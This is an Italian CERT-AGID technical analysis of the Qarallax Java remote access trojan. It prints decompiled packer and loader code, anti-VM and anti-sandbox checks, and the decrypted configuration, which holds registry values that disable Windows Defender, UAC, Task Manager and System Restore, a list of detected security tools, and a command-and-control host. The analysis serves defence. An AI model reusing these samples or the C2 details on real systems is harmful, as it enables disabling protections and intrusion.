Analisi del malware Qarallax RAT

Computer Emergency Response Team
AGID

cert-agid.gov.it

Table of Contents

Packer....3
  Secondo JAR....5
Malware....7
  Controllo Qemu Guest Agent....9
  Controllo cartella temporanea (solo Windows)....10
  Caricamento della configurazione....10
    Configurazione....18
  Controlli anti-VM....19
  Recupero delle informazioni sull’ambiente....20
    Informazioni sul sistema operativo....20
      Windows....21
      Linux....22
      macOS....22
    Percorso interprete Java....22
  Persistenza....22
  Windows....22
    Linux....23
    macOS....23
  Caricamento plugins....24
  KillSecurity....27
  Funzionalità di RAT....29
    ShowMessage (100)....29
    BrowseTo (101)....29
    DownloadAndExecute (102)....29
    GetIPInfo (103)....30
    GeoIPWifi (105)....30
    Restart (106)....30
    Terminate (107)....30
    RunInstallPlugin (108)....31
    UpdateFromURL (109)....31
    UpdateFromC2 (110)....31
    Disinstall (111)....32
    CloseConnection (112)....32
    DoGarbageCollector (113)....32
    DetectSleeping (114)....32
    GetForegroundTitle (115)....32
  Funzionalità non usate....33

Packer

Qarallax si presenta come un archivio JAR.

```
jar
├── amiti
│   ├── f.class
│   ├── K.class
│   ├── l.class
│   ├── p.class
│   ├── Qu.class
│   ├── Tu.class
│   ├── uu.class
│   ├── Values.class
│   ├── Z.class
│   └── zu.class
├── app
│   └── software.dll
├── META-INF
│   └── MANIFEST.MF
└── S
    └── fT
        └── boOV
            └── fJTk
                └── WSps.fMe
```

Osservando la struttura delle cartelle si notano due file (evidenziati in grassetto) che non sono classi Java. Nel file MANIFEST.MF, come è necessario per tutti gli archivi Java eseguibili, è indicata la classe principale. Il codice è leggermente offuscato con l'instanziazione di elementi AWT (Label, Button e simili) e anche le stringhe risultano offuscate.

Per ovviare a quest'ultimo problema è possibile utilizzare un deoffuscatore (con la giusta configurazione) o in alternativa procedere con la decifratura manuale creando un semplice programma Java e copiando il metodo interessato[1] .

Il codice include copie del seguente controllo che produce un crash del malware con un'eccezione se eseguito appena dopo le ore 14 della domenica del 30 Agosto 2020, ora italiana.

```
if (new Date().after(new Date(1598788800542L))) {
        throw new Throwable("897342879jr4j9rtf987uhuijhsudfhj987ewhdjy89h98yu89");
    }
```

Ignorando il codice AWT, il metodo main si riduce a creare un'instanza della classe che lo ospita, a sua volta il costruttore di questa invoca il metodo che ha il compito di eseguire il prossimo stadio.

Una prima parte del codice, di seguito riportata, carica una risorsa (*/app/software.dll*) dal JAR e la decodifica.

1 Questo metodo è più laborioso ma funziona sempre. Nel caso di interesse il packer aveva una struttura molto semplice e tale da richiedere la decifratura solo di un piccolo insieme delle stringhe presenti nel JAR. Gli stadi successivi richiederanno l'uso di un deoffuscatore poichè, oltre ad essere di dimensioni considerevoli, il metodo di decifratura ottiene la chiave non in modo statico ma in base al nome del metodo e della classe chiamanti.

```
jarInputStream =
Tu.L((byte[])Tu.L((InputStream)Values.class.getResourceAsStream(Z.
AllatorixDemo_Zu)), (byte[])Z.AllatorixDemo_Z.getBytes());

Properties properties = new Properties();
properties.loadFromXML((InputStream)new
ByteArrayInputStream((byte[])jarInputStream));
```

E' facile vedere che il risultato della decodifica debba essere un file XML. Copiando il metodo *Tu.L* è possibile decodificare la risorsa. Si tratta comunque di un semplice XOR rollover (la chiave si trova nella constante `Z.AllatorixDemo_Z`).

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE properties SYSTEM
"http://java.sun.com/dtd/properties.dtd">
<properties>
<comment>Crypter Mod by Qarallax.</comment>
<entry key="SERVER">/S/fT/boOV/fJTk/WSps.fMe</entry>
<entry key="PASSWORD">PKXewWcgbc</entry>
</properties>
```

Il commento riporta "`Crypter Mod by Qarallax.`", da cui deriva il nome del malware. Tuttavia non è chiaro se questo sia effettivamente il nome del malware o solo del packer.

L'XML contiene il percorso dell'altra risorsa precedentemente identificata e la password per decifrarla.
La stessa procedura di XOR rollover viene usata per decifrare questa risorsa che risulta essere un JAR.

Il codice successivo ha il compito di caricare tutti i file nel JAR in una mappa, usando il nome canonico della classe come chiave.
Un classloader apposito verrà poi utilizzato per eseguire la classe principale del JAR caricando le classi aggiuntive dalla suddetta mappa.

Questa è difatti una tecnica "fileless", il JAR payload non è mai salvato su disco ma è comunque eseguito (nella JVM del packer).

```
//Decifra
jarInputStream =
Tu.L((byte[])Tu.L((byte[])Tu.L((InputStream)l2.getClass().getResourceAsStream(p
roperties.getProperty("SERVER"))),
(byte[])properties.getProperty("PASSWORD").getBytes()));

properties = new HashMap();
JarInputStream jarInputStream2 = jarInputStream = new
JarInputStream((InputStream)new ByteArrayInputStream((byte[])jarInputStream));
//Classe main
String string2 = p.L((JarInputStream)jarInputStream);

while ((jarEntry = jarInputStream2.getNextJarEntry()) != null) {
   //Salta le dir
```

```
   if (jarEntry.isDirectory()) {
         JarInputStream jarInputStream3 = jarInputStream;
          jarInputStream2 = jarInputStream3;
          jarInputStream3.closeEntry();
            continue;
     }


      //Mette nella mappa nome canonico classe → contenuto
      JarInputStream jarInputStream4 = jarInputStream;
      jarInputStream2 = jarInputStream4;
      button = Tu.L((InputStream)jarInputStream4);
      string = jarEntry.getName();
      string = string.replace((CharSequence)"/", (CharSequence)".");
      string = string.replace((CharSequence)".class", (CharSequence)"");
      jarInputStream.closeEntry();
      properties.put((Object)string, (Object)button);
}

//Esegue la classe main con un classloader che carica dalla mappa
zu2 = new zu(string2, (HashMap)properties);
```

Secondo JAR

La struttura delle cartelle del secondo JAR è la seguente

```
out2_jar/
├── camera
│   └── set.ttf
├── META-INF
│   └── MANIFEST.MF
└── tmp
    └── x
        └── tmp
            └── iero
                └── s
                    └── a
                        ├── h.class
                        ├── hhk.class
                        ├── hjk.class
                        ├── hkj.class
                        ├── j.class
                        ├── jh.class
                        ├── jhk.class
                        ├── jjj.class
                        ├── jjk.class
                        ├── jkj.class
                        ├── jkk.class
                        ├── k.class
                        ├── kh.class
                        ├── khk.class
                        ├── kjk.class
                        ├── kk.class
                        └── kkj.class
```

La classe principale è `x.tmp.iero.s.a.h`.
Questa volta i deoffuscatori non riescono a decifrare le stringhe, ma è comunque possibile farlo manualmente (anche se tedioso).

Seguendo il flusso del programma si nota come venga di nuovo decodifcata una risorsa.

```
//Lettura della risorsa
InputStream tl4 = tl2.getClass().getResourceAsStream(jh.jk((String)"4yyvzh}4`¨d5cn2"));

//Decodifica tramite DES (il primo parametro è la chiave ouikjhgf9654123654lkj, l'ultimo il buffer di output)
ByteArrayOutputStream tl5 = new ByteArrayOutputStream();
k.jk((String)jh.jk((String)"otjkni`f17>4=3<6%5¨k>"), (InputStream)tl4, (OutputStream)tl5);

//Caricamento dell'XML
Properties properties = tl = new Properties();
Properties properties2 = tl;
properties.loadFromXML((InputStream)new ByteArrayInputStream(tl5.toByteArray()));

//Recupero dei tre valori:
/*
  SERVER_BIN_     = Payload cifrato in AES
PRIVATE_PASSWORD_ = Chiave RSA per decifrare la chiave AES
PASSWORD_CRYPTED_ = Chiave AES cifrata con la chiave RSA sopra
*/
byte[] tl10 = jkj.jk((String)tl.getProperty(jh.jk((String)"L[NI^LG]^P\u000b")));
byte[] tl11 = jkj.jk((String)properties.getProperty(jh.jk((String)"TWNRAQF[\\D\\W_JY@\
u000b")));
byte[] tl12 = jkj.jk((String)tl.getProperty(jh.jk((String)"TDTWWJQ@SF]]XQN@\u000b")));

//Deserializzazione della chiave RSA
ByteArrayInputStream tl13 = new ByteArrayInputStream(tl11);
RSAPrivateKey tl15 = (RSAPrivateKey)new hkj((InputStream)tl13).readObject();

//Decoder che decifra il payload
kkj kkj2 = new kkj();
kkj2.jkj(tl12);
kkj2.jk(tl10);
ByteArrayInputStream tl16 = kkj2.jk(tl15);

//Esegue il payload (JAR, sempre usando il classloader da una mappa)
hjk hjk2 = new hjk(tl16);
```

Questa volta l'algoritmo per decifrare il file XML è DES. Il file risultante contiene l'enigmatico commento *Secure Code: 0xA98B93E8A*, varie proprietà inutili e le seguenti informazioni:

- Un payload cifrato tramite AES (l'instanza Chiper usata è creata con la sola stringa AES, le altre configurazioni come padding, lunghezza della chiave e code book sono quelle di default secondo documentazione Java).
- La chiave AES cifrata tramite una chiave RSA.
- La chiave RSA di cui sopra.

Si faccia riferimento al codice sopra per il nome esatto delle proprietà.
L'utilizzo di questo schema crittografico non trova raziocinio in questo contesto, l'includere una chiave di un cipher simmetrico in un cipher asimmetrico è fatto per ottenere le performance del primo e l'usabilità del secondo per le comunicazioni su un canale non sicuro.
In questo caso, la chiave privata RSA è comunque presente nel file e il payload è relativamente piccolo e decifrato una sola volta.

Sembra che l'utilizzo corretto della crittografia sfugga ancora a molti autori di malware, per fortuna.

Il payload risulta essere ancora una volta un JAR, questa volta si tratta del payload finale, il malware vero e proprio.

Malware

Anche in questo caso è possibile utilizzare un deoffuscatore per decifrare le stringhe. Va notato che queste sono cifrate con una procedura che usa come chiave il nome canonico della classe chiamante ed il nome del metodo chiamante.
Per cui la deoffuscazione manuale è particolarmente tediosa. Per fortuna questo è un metodo piuttosto usato, al punto che è supportato da alcuni deoffuscatori.

La struttura delle directory è più ricca rispetto ai JAR precedenti:

```
out3_jar/
├── io
│   ├── FileUtils.class
│   └── Zip.class
├── json
│   ├── CDL.class
│   ├── JSONArray.class
│   ├── JSONException.class
│   ├── JSONML.class
│   ├── JSONObject$1.class
│   ├── JSONObject.class
│   ├── JSONObject$Null.class
│   ├── JSONPointer$Builder.class
│   ├── JSONPointer.class
│   ├── JSONPointerException.class
│   ├── JSONPropertyIgnore.class
│   ├── JSONPropertyName.class
│   ├── JSONString.class
│   ├── JSONStringer.class
│   ├── JSONTokener.class
│   ├── JSONWriter.class
│   ├── Property.class
│   ├── XML$1$1.class
│   ├── XML$1.class
│   ├── XML.class
│   └── XMLTokener.class
├── META-INF
│   └── MANIFEST.MF
├── module
│   ├── 0001.class
│   ├── 0.class
│   ├── 111.class
│   ├── Server.class
│   └── ServerSettings.class
├── os
│   ├── Linux.class
│   ├── Linux.json
│   ├── Mac.class
│   ├── OperatingSystem.class
```

```
│   ├── OperatingSystemManager$1.class
│   ├── OperatingSystemManager.class
│   ├── OperatingSystemManager$OperatingSystemManagerHolder.class
│   ├── support
│   ├── Unknown.class
│   └── Windows.class
└── server
    ├── f
    │   ├── 0001.class
    │   ├── 0.class
    │   ├── 10.class
    │   ├── 1100.class
    │   ├── 110.class
    │   └── 111.class
    ├── h
    │   ├── 0000.class
    │   ├── 0001.class
    │   ├── 000.class
    │   ├── 0010.class
    │   ├── 001.class
    │   ├── 00.class
    │   ├── 010.class
    │   ├── 011.class
    │   ├── 01.class
    │   ├── 0.class
    │   ├── 1000.class
    │   ├── 100.class
    │   ├── 1010.class
    │   ├── 101.class
    │   ├── 10.class
    │   ├── 1100.class
    │   ├── 1101.class
    │   ├── 110.class
    │   ├── 1110.class
    │   ├── 111.class
    │   └── 11.class
    ├── i
    │   └── 111.class
    ├── j
    │   ├── 0001.class
    │   ├── 0.class
    │   ├── 1000.class
    │   ├── 101.class
    │   ├── 10.class
    │   ├── 1100.class
    │   ├── 110.class
    │   ├── 111.class
    │   └── 11.class
    ├── main
    │   └── Start.class
    ├── resources
    │   ├── amd64.dll
    │   ├── config.json
    │   ├── country.json
    │   ├── Key1.json
    │   ├── Key2.json
    │   └── x86.dll
    ├── title
    │   ├── iTitle.class
    │   ├── LinuxTitle.class
    │   ├── TitleManager$1.class
    │   ├── TitleManager.class
    │   ├── TitleManager$TitleManagerHolder.class
    │   ├── UnknownTitle.class
    │   └── WindowsTitle.class
    ├── utilities
    │   ├── Base64.class
    │   ├── Constants.class
    │   ├── DataTypeConverter.class
    │   ├── Decoder.class
    │   ├── Decrypter.class
    │   ├── DownloadFile$1.class
    │   ├── DownloadFile.class
    │   ├── DownloadFile$PreferredCipherSuiteSSLSocketFactory.class
    │   ├── ExecuteFile.class
    │   ├── FileNameFilterPlugin.class
    │   ├── InternalClassLoader$1.class
```

```
    │   ├── InternalClassLoader.class
    │   ├── InternalClassLoader$InternalClassLoaderHolder.class
    │   ├── KillAntivirusExecution.class
    │   ├── KillProcessByName.class
    │   ├── KillRegedit.class
    │   ├── KillSecurity$1.class
    │   ├── KillSecurity$2.class
    │   ├── KillSecurity.class
    │   ├── ModuleManager$1.class
    │   ├── ModuleManager.class
    │   ├── ModuleManager$ModuleManagerHolder.class
    │   ├── Random.class
    │   ├── RC4.class
    │   ├── ResourceWhiteList$1.class
    │   ├── ResourceWhiteList.class
    │   ├── ResourceWhiteList$ResourceWhiteListHolder.class
    │   ├── Shell.class
    │   ├── Sleep.class
    │   ├── Utilities.class
    │   └── UUIDMaker.class
    └── windows
        ├── Attrib.class
        ├── ChangeFolderCLSID.class
        ├── CryptData.class
        ├── dll
        │   ├── WinLoaderDLL$1.class
        │   ├── WinLoaderDLL.class
        │   ├── WinLoaderDLL$WinLoaderDLLHolder.class
        │   ├── WinMethod.class
        │   └── WinMethodException.class
        ├── reg
        │   ├── HKey.class
        │   ├── internal
        │   │   ├── HKeyAccess.class
        │   │   ├── RC.class
        │   │   ├── ReflectedMethods.class
        │   │   └── WindowsPreferencesBuilder.class
        │   ├── RegistryException.class
        │   └── WindowsRegistry.class
        ├── Regedit.class
        ├── ShellExecute.class
        ├── SpecialFolders.class
        ├── UACBypass$1.class
        ├── UACBypass$BypassFileless.class
        ├── UACBypass.class
        ├── UACBypass$CompMgmtLauncher.class
        ├── UACBypass$ComputerDefaults.class
        ├── UACBypass$Eventvwr.class
        ├── UACBypass$FodHelper.class
        ├── UACBypass$Sdclt.class
        ├── UACBypass$Slui.class
        ├── UACBypass$WSReset.class
        ├── UACCheck.class
        └── WscriptProcess.class
```

Fortunatamente, molte classi non sono state rinominate. Sono presenti delle risorse (evidenziate in grassetto).

Sono sempre presenti i controlli sulla data descritti precedentemente ma **la deadline è stata spostata al 30 Settembre** (più o meno alla stessa ora).

Controllo Qemu Guest Agent

Come prima azione il malware controlla la presenza del guest agent di Qemu tramite la presenza dell’apposita cartella.

```
    File a = new File(System.getenv((String)"ProgramFiles"));
    if (new File(a, "Qemu-ga").exists()) {
```

```
        System.exit((int)0);
    }
```

Questo è evidentemente un controllo anti-VM.

Controllo cartella temporanea (solo Windows)

Sulle macchina Windows (o meglio, il cui nome di sistema operativo inizia per win, irrispettivo del case), il malware controlla che la directory temporanea sia contenuta nella cartella home dell'utente.

```
if (System.getProperty((String)"os.name").toLowerCase().startsWith("win")) {
    String a = System.getProperty((String)"user.home");
    String a2 = System.getProperty((String)"java.io.tmpdir");
    File a3 = new File(a);
    File a4 = new File(a2);
    try {
        if (!
a4.getCanonicalPath().contains((CharSequence)a3.getCanonicalPath())) {
            System.exit((int)0);
            return;
        }
    }
    catch (IOException iOException) {
        // empty catch block
    }
}
```

Non è chiara la natura di questo controllo, probabilmente un anti sandbox.

Caricamento della configurazione

Successivamente il malware carica la configurazione dalla cartella resources. Anche qui, come per il secondo stadio del packer, viene usata una chiave AES cifrata con una chiave RSA.
Il payload è un file JSON che contiene la configurazione.

```
ObjectInputStream a4 = new
ObjectInputStream(a3.getClass().getResourceAsStream("/server/resources/
Key1.json"));
RSAPrivateKey rSAPrivateKey = (RSAPrivateKey)a4.readObject();
Start start = a3;
a4.close();
byte[] a5 =
FileUtils.inputStreamtoByteArray((InputStream)start.getClass().getResourceAsStr
eam("/server/resources/Key2.json"), (boolean)true);
byte[] a6 =
FileUtils.inputStreamtoByteArray((InputStream)start.getClass().getResourceAsStr
eam("/server/resources/config.json"), (boolean)true);
Decoder decoder = new Decoder();
void v1 = a;
v1.setKeys((RSAPrivateKey)a2, a5);
byte[] a7 = v1.decode(a6);
InputStreamReader a8 = new InputStreamReader((InputStream)new
ByteArrayInputStream(a7), "UTF-8");
JSONTokener a9 = new JSONTokener((Reader)a8);
ServerSettings.getInstance().loadConfiguration(a9, server.f.110.ii().ii());
```

E’ quindi possibile estrarre il codice sopra (e le relative dipendenze) per ottenere la configurazione in chiaro.


```
{
    "securityRetry":20,
    "vbox":true,
    "security":[
       {
          "code":"open-file-security",
          "reg":[
             {
                "value":"\"SaveZoneInformation\"=dword:00000001\r\n",
                "key":"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Policies\\Attachments",
                "valuesCommand":[
                   {
                      "name":"SaveZoneInformation",
                      "valueCommand":"1",
                      "valueCommandType":"REG_DWORD"
                   }
                ]
             },
             {

"value":"\"LowRiskFileTypes\"=\".avi;.bat;.com;.cmd;.exe;.htm;.html;.lnk;.mpg;.
mpeg;.mov;.mp3;.msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;.jar;\"\r\n",
                "key":"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Policies\\Associations",
                "valuesCommand":[
                   {
                      "name":"LowRiskFileTypes",

"valueCommand":".avi;.bat;.com;.cmd;.exe;.htm;.html;.lnk;.mpg;.mpeg;.mov;.mp3;.
msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;.jar;",
                      "valueCommandType":"REG_SZ"
                   }
                ]
             },
             {
                "value":"\"SaveZoneInformation\"=\"-\"\r\n",
                "key":"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Policies\\Attachments",
                "valuesCommand":[
                   {
                      "name":"SaveZoneInformation",
                      "valueCommand":"-",
                      "valueCommandType":"REG_SZ"
                   }
                ]
             },
             {
                "value":"\"LowRiskFileTypes\"=\"-\"\r\n",
                "key":"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Policies\\Associations",
                "valuesCommand":[
                   {
                      "name":"LowRiskFileTypes",
                      "valueCommand":"-",
                      "valueCommandType":"REG_SZ"
                   }
                ]
             }
          ],
          "name":{
             "en":"Open-File Security Warning"
          }
```

```
       },
       {
          "code":"disable-zone-checking",
          "reg":[
             {
                "value":"\"SEE_MASK_NOZONECHECKS\"=\"1\"\r\n",
                "key":"HKEY_CURRENT_USER\\Environment",
                "valuesCommand":[
                   {
                      "name":"SEE_MASK_NOZONECHECKS",
                      "valueCommand":"1",
                      "valueCommandType":"REG_SZ"
                   }
                ]
             },
             {
                "value":"\"SEE_MASK_NOZONECHECKS\"=\"1\"\r\n",
                "key":"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\
Session Manager\\Environment",
                "valuesCommand":[
                   {
                      "name":"SEE_MASK_NOZONECHECKS",
                      "valueCommand":"1",
                      "valueCommandType":"REG_SZ"
                   }
                ]
             }
          ],
          "name":{
             "en":"Disable Zone Checking"
          }
       },
       {
          "process":[
             "UserAccountControlSettings.exe"
          ],
          "code":"user-account-control",
          "reg":[
             {
                "value":"\"ConsentPromptBehaviorAdmin\"=dword:00000000\r\
n\"ConsentPromptBehaviorUser\"=dword:00000000\r\n\"EnableLUA\"=dword:00000000\
r\n\"PromptOnSecureDesktop\"=dword:00000000\r\n",
                "key":"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\
CurrentVersion\\Policies\\System",
                "valuesCommand":[

                ]
             }
          ],
          "name":{
             "en":"User Account Control"
          }
       },
       {
          "process":[
             "Taskmgr.exe"
          ],
          "code":"task-manager",
          "reg":[
             {
                "value":"\"DisableTaskMgr\"=dword:00000002\r\n",
                "key":"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Policies\\System",
                "valuesCommand":[
                   {
                      "name":"DisableTaskMgr",
                      "valueCommand":"2",
                      "valueCommandType":"REG_DWORD"
                   }
```

```
                ]
             }
          ],
          "name":{
             "en":"Task Manager"
          }
       },
       {
          "code":"restore-system",
          "reg":[
             {
                "value":"\"DisableConfig\"=dword:00000001\r\
n\"DisableSR\"=dword:00000001\r\n",
                "key":"HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\
Windows NT\\SystemRestore",
                "valuesCommand":[
                   {
                      "name":"DisableConfig",
                      "valueCommand":"1",
                      "valueCommandType":"REG_DWORD"
                   },
                   {
                      "name":"DisableSR",
                      "valueCommand":"1",
                      "valueCommandType":"REG_DWORD"
                   }
                ]
             }
          ],
          "name":{
             "en":"Restore System"
          }
       },
       {
          "process":[
             "ProcessHacker.exe"
          ],
          "code":"process-hacker",
          "name":{
             "en":"Process Hacker"
          }
       },
       {
          "process":[
             "procexp.exe"
          ],
          "code":"msconfig",
          "name":{
             "en":"MsConfig"
          }
       },
       {
          "process":[
             "MSASCuiL.exe",
             "MSASCui.exe",
             "MsMpEng.exe",
             "MpUXSrv.exe",
             "MpCmdRun.exe",
             "NisSrv.exe",
             "ConfigSecurityPolicy.exe"
          ],
          "code":"windows-defender",
          "reg":[
             {
                "value":"\"DisableAntiSpyware\"=dword:00000001\r\n",
                "key":"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\
Windows Defender",
                "valuesCommand":[
                   {
```

```
                        "name":"DisableAntiSpyware",
                        "valueCommand":"1",
                        "valueCommandType":"REG_DWORD"
                     }
                  ]
               },
               {
                  "value":"\"DisableBehaviorMonitoring\"=dword:00000001\r\
n\"DisableOnAccessProtection\"=dword:00000001\r\
n\"DisableScanOnRealtimeEnable\"=dword:00000001\r\n",
                  "key":"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\
Windows Defender\\Real-Time Protection",
                  "valuesCommand":[
                     {
                        "name":"DisableBehaviorMonitoring",
                        "valueCommand":"1",
                        "valueCommandType":"REG_DWORD"
                     },
                     {
                        "name":"DisableOnAccessProtection",
                        "valueCommand":"1",
                        "valueCommandType":"REG_DWORD"
                     },
                     {
                        "name":"DisableScanOnRealtimeEnable",
                        "valueCommand":"1",
                        "valueCommandType":"REG_DWORD"
                     }
                  ]
               }
            ],
            "name":{
               "en":"Windows Defender"
            }
         },
         {
            "code":"windows-defender-exclusion",
            "name":{
               "en":"Windows Defender Exclusion"
            }
         },
         {
            "process":[
               "procexp.exe"
            ],
            "code":"process-explorer",
            "name":{
               "en":"Process Explorer"
            }
         },
         {
            "process":[
               "wireshark.exe",
               "tshark.exe",
               "text2pcap.exe",
               "rawshark.exe",
               "dumpcap.exe",
               "capinfos.exe"
            ],
            "code":"wireshark",
            "name":{
               "en":"Wireshark"
            }
         },
         {
            "process":[
               "Procmon.exe"
            ],
            "code":"process-monitor",
```

```
            "name":{
               "en":"Process Monitor"
            }
         },
         {
            "code":"avira",
            "name":{
               "en":"Avira"
            }
         },
         {
            "code":"eset",
            "name":{
               "en":"ESET Security"
            }
         },
         {
            "code":"bitdefender",
            "name":{
               "en":"Bitdefender"
            }
         },
         {
            "code":"malwarebytes",
            "name":{
               "en":"MalwareBytes"
            }
         },
         {
            "code":"adware-antivirus",
            "name":{
               "en":"Ad-Aware Antivirus"
            }
         },
         {
            "code":"bull-guard",
            "name":{
               "en":"Bull Guard Antivirus"
            }
         },
         {
            "code":"clamwin",
            "name":{
               "en":"ClamWin Antivirus"
            }
         },
         {
            "code":"comodo",
            "name":{
               "en":"COMODO Antivirus"
            }
         },
         {
            "code":"escan",
            "name":{
               "en":"EScan Antivirus"
            }
         },
         {
            "code":"f-secure",
            "name":{
               "en":"F-Secure Antivirus"
            }
         },
         {
            "code":"f-prot",
            "name":{
               "en":"F-PROT Antivirus"
            }
```

```
        },
        {
            "code":"gdata",
            "name":{
                "en":"G DATA Antivirus"
            }
        },
        {
            "code":"ikarus",
            "name":{
                "en":"IKARUS Antivirus"
            }
        },
        {
            "code":"immunet",
            "name":{
                "en":"Immunet Antivirus"
            }
        },
        {
            "code":"k7ultimate",
            "name":{
                "en":"K7 Security"
            }
        },
        {
            "code":"nano",
            "name":{
                "en":"NANO Antivirus"
            }
        },
        {
            "code":"panda",
            "name":{
                "en":"Panda Antivirus"
            }
        },
        {
            "code":"super-anti-spyware",
            "name":{
                "en":"SUPER Anti-Spyware"
            }
        },
        {
            "code":"trend-micro",
            "name":{
                "en":"Trend Micro Antivirus"
            }
        },
        {
            "code":"vipre-security",
            "name":{
                "en":"VIPRE"
            }
        },
        {
            "code":"mcshield",
            "name":{
                "en":"MCShield Anti-Malware Tool"
            }
        },
        {
            "code":"spybot",
            "name":{
                "en":"SPYBOT AntiMalware"
            }
        },
        {
            "code":"forti-client",
```

```
            "name":{
               "en":"FortiClient"
            }
         },
         {
            "code":"twister",
            "name":{
               "en":"Twister Antivirus"
            }
         },
         {
            "code":"quickheal",
            "name":{
               "en":"Quick Heal"
            }
         },
         {
            "code":"arcabit",
            "name":{
               "en":"Arcabit"
            }
         },
         {
            "code":"totaldefense",
            "name":{
               "en":"Total Defense"
            }
         },
         {
            "code":"emisoft",
            "name":{
               "en":"Emsisoft Anti-Malware"
            }
         },
         {
            "code":"zillya",
            "name":{
               "en":"Zillya"
            }
         },
         {
            "code":"tachyon",
            "name":{
               "en":"TACHYON"
            }
         },
         {
            "code":"trustport",
            "name":{
               "en":"TrustPort"
            }
         },
         {
            "code":"xvirus",
            "name":{
               "en":"Xvirus"
            }
         }
      ],
      "nickName":"DHL",
      "release":"Mod by QUA IT Solutions O (Ltd.) for EvilTwin Group",
      "installation":{
         "jarName":"NXtxm",
         "moduleFolder":"vEBgG",

"moduleEntry":"SknjepUMnQQuoqPILOOmPQUIWWiltQSBxEQjxxgswMRfuWunmUedSBnvWcngeRNd
TGWxUXIxhOOjNBBvBbUsmPAkVjNsUZUKne/
jHLXJEAHQgHHCAjinDmAnxNcDLuZtrldjQYNxKGeevBRpHBTjEUNsB/
UkpdTFIpMOaasDhoIeWlObGjSPwTG.MdZXdiNGAEdHJOIFVSxWirhRcfhRsdGiwVPBPWbMDeBfULvMg
```

```
ZtnjLBvuwTxO",
        "uniqueIDFile":".ntusernt.ini",
        "delay":2,
        "jreFolder":"Oracle",
        "active":true,
        "mainFolder":"ujTBR",
        "moduleExtension":"CmN",
        "jarExtension":"class",
        "jarRegistry":"HfdZkYR"
    },
    "vmware":true,
    "encryptKey":"YepaqmtxqhmavCGUllhlcdCxK",
    "network":[
        {
            "delay":2,
            "port":8080,
            "dns":"127.0.0.1"
        },
        {
            "delay":2,
            "port":5484,
            "dns":"agb1.linkpc.net"
        }
    ]
 }
```


Configurazione

Da una prima lettura si evince che:

- Il malware contiene controlli anti VirtualBox.
- E’ presente una serie di controlli di sicurezza che possono consistere in:
    - Modifica del registro di sistema
    - Verifica della presenza di programmi

    In particolare vengono effettuati i seguenti controlli/modifiche:

    - Vengono cambiate le estensioni dei file considerati a rischio (da IE, Edge ed explorer).
    - Viene disabilitato la finestra di allerta quando sono aperti i file considerati pericolosi.
    - Vengono alterate le impostazioni UAC.
    - Viene disabilitato il task manager.
    - Viene disabilitato il ripristino di sistema.
    - Viene disabilitato Windows Defender.
    - Viene controllata la presenza di Process Hacker, Process Explorer, Windows Defender, WireShark, Process Monitor, Avira, ESET, BitDefender, MalwareBytes, Ad-Aware, Bull Guard Antivirus, ClamWin Antivirus, COMODO, Escan, F-Secure Antivirus, F-PROT, G DATA Antivirus, IKARUS, Immunet, K7 Security, Panda, SUPER Anti-Spyware, Trend Micro, VIPRE, MCShield Anti-Malware Tool, Spybot, FortiClient, Twister

Antivirus, Quick Heal, Arcabit, Total Defense, Amsisoft, Zillya, TACHYON, TrustPort, Xvirus.

- E’ presente una chiave di cifratura.
- Il malware contiene controlli anti VMware.
- La campagna è a tema DHL.
- Sono presenti I C2 (di cui solo uno valido).
- E’ presente la configurazione per la persistenza.

Inoltre è presente la stringa *Mod by QUA IT Solutions O\uFFFD (Ltd.) for EvilTwin Group*, che fa presupporre un servizio di Malware-as-a-service.

Controlli anti-VM

Se abilitati dalla configurazione il malware effettua i controlli anti Vbox e anti VMware.

```
if (ServerSettings.getInstance().getSettings().getBoolean("vmware") &&
Utilities.isVMWARE()) {
    System.exit((int)-1);
}
if (ServerSettings.getInstance().getSettings().getBoolean("vbox") &&
Utilities.isVirtualBox()) {
    System.exit((int)-1);
}
```

I controlli sono piuttosto semplici e si basano sulla presenza delle installazioni, ma va osservato che suddetti controlli risultano validi sia per Windows che per Linux che per macOS.

```
    public static /* synthetic */ boolean isVirtualBox() {
        switch (OperatingSystemManager.getOperatingSystem().getType()) {
            case 1: {
                while (false) {
                }
                String a = System.getenv((String)"ProgramFiles(X86)");
                if (a == null) {
                    a = System.getenv((String)"ProgramFiles");
                }
                return new File(new StringBuilder().insert(0, a).append("\\
Oracle\\VirtualBox Guest Additions").toString()).exists();
            }
            case 3: {
                return new File("/etc/init.d/vboxadd").exists();
            }
        }
        return false;
    }

    public static /* synthetic */ boolean isVMWARE() {
        switch (OperatingSystemManager.getOperatingSystem().getType()) {
            case 1: {
                while (false) {
                }
                String a = System.getenv((String)"ProgramFiles(X86)");
                if (a == null) {
```

```
                    a = System.getenv((String)"ProgramFiles");
                }
                return new File(new StringBuilder().insert(0, a).append("\\
VMware\\VMware Tools").toString()).exists();
            }
            case 3: {
                return new File("/etc/vmware-tools").exists();
            }
            case 2: {
                return new File("/Library/Application Support/VMware
Tools").exists();
            }
        }
        return false;
    }
```

Recupero delle informazioni sull’ambiente

Il malware recupera un po’ di informazioni sull’ambiente in cui è eseguito e le salva nella configurazione con un’apposita chiave.

Chiave	**Valore**
serverPath	Percorso del JAR
operatingSystem	Un oggetto con le informazioni sul sistema operativo.
userTitle	<nomeUtente>@<nomeComputer>
jrePath	Percorso dell’interprete Java.
installDate.lastModified	Data di modifica del JAR
installDate.daysRunning	Numero di giorni dall’installazione
serverVersion	v2.20.10
localIp	Indirizzo LAN, ottenuto tramite enumerazione di `NetworkInterface.getNetworkInterfaces`

Informazioni sul sistema operativo

Il nome dell’OS è preso tramite `System.getProperty("os.name", "Unknown OS")` ed in base a questo (ed al separatore di cartelle) viene instanziato un oggetto apposito per sistema operativo.

Ad ogni oggetto è assegnato un tipo numerico per facilitare i check

```
